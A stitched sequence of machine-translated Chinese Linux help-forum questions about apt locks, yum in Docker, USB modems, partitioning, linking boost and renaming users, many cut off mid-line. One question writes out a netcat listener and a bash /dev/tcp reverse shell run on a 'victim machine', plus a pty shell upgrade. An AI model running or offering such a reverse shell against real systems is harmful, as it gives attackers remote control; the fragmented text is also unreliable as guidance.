我是Linux新手,有人能帮我从终端安装软件吗?
我试图在终端中输入命令来安装java。
sudo apt-get install openjdk-7-jdk
但我会犯错,
E:Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E:Unable to lock the administration directory (/var/lib/dpkg/), are you root?
我也试过根
su -
但是它说密码不正确,那么什么是根呢?
提前感谢你们的帮助。
我无法在Docker容器中运行任何yum命令,而不会收到以下错误:
ovl: Error while doing RPMdb copy-up:
[Errno 13] Permission denied: '/var/lib/rpm/Group'
You need to be root to perform this command.
我很困惑,因为我非常确定docker容器是以默认用户root运行的。不过,如果我尝试将sudo放在yum install -y <package>或yum update -y命令的前面,我会得到:
/bin/sh: sudo: comm
我正在使用华为3G USB在Ubuntu12.04 LTS上的戴尔Inspiron NS5520。我尝试了所有可能的解决方案,但都没有成功。每当我的USB调制解调器断开,我不能重新连接它,然后我必须重新启动笔记本电脑。重新启动时,有时会检测到USB,有时则不会。在Ubuntu11.x中,它工作得很好,但现在我使用的是12.04。这就是我们要说的:
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
我的服务器有4个主分区,数据我无法删除,但我需要扩展hdd,因为它正在耗尽空间。我已经增加了vmdk文件的大小,但是当我试图创建一个分区时,我得到了消息You must delete some partition and add an extended partition first,但关键是我不能删除一个分区.
root@webhost [~]# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0
在编译少量测试应用程序时,我得到以下错误:
g++: error: −lboost_system: No such file or directory
g++: error: −lboost_filesystem: No such file or directory
在运行以下命令时:
g++ -I/usr/include/boost/ -L/usr/lib/x86_64-linux-gnu/ aescuda.cpp -o test.o −lboost_system −lboost_filesystem
这些库已安装并显示在以下位置:
<prompt>$ ll /usr/lib
我有一张3G数据卡。在我的Windows系统上,我可以访问它的内存,但我不能访问设备的内存。所以我有几个问题:
如何访问Ubuntu12.04上的数据卡内存?
为什么我的设备不表现为即插即用?
什么是USB模式?
怎么用?
下面是命令lsusb的输出:
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundati
我成功地得到了一个反向外壳:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
我试着升级它,以标准的方式:
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo
fg
export TERM=xterm
但是,在运行stty raw -echo并使用fg将反向shell带回前台后,反向shell不能正常工作。
我需要从linux中更改用户名(而不是admin)。
我改变了设置,->Users。但是如何更改linux中的“主文件夹”名称或根用户。
我试着用
usermod -l <newname> -d /home/<newname> -m <oldname>
但这里总是提到
username <oldname> is currently used by process <some id>
如果我杀了这个过程会发生什么事吗?
我使用su -作为root登录,并尝试使用相同的usermod命令。
那么,如何在不终止流程的情况下更改名称呢?
我对Linux Shell脚本编程非常陌生,不知道是否有人可以帮助我完成以下工作。
我创建了一个脚本来与我的linux机器同步时间,但似乎只有一个exec命令完成
#!/bin/bash
#Director SMS Synch Time Script
echo The current date and time is:
date
echo
echo Synching GTS Cluster 1 directors with SMS.
echo
echo Changing date and time for director-1-1-A
exec ssh root@128.221.252.3
我有点卡住了,还是个初学者。在升级过程中,我的dev/sda1 1似乎达到了容量。
sudo apt-get autoremove
给我:
Reading package lists... Done
Building dependency tree
Reading state information... Done
You might want to run 'apt-get -f install' to correct these.
The following packages have unmet dependencies:
linux-image-extra-4.4.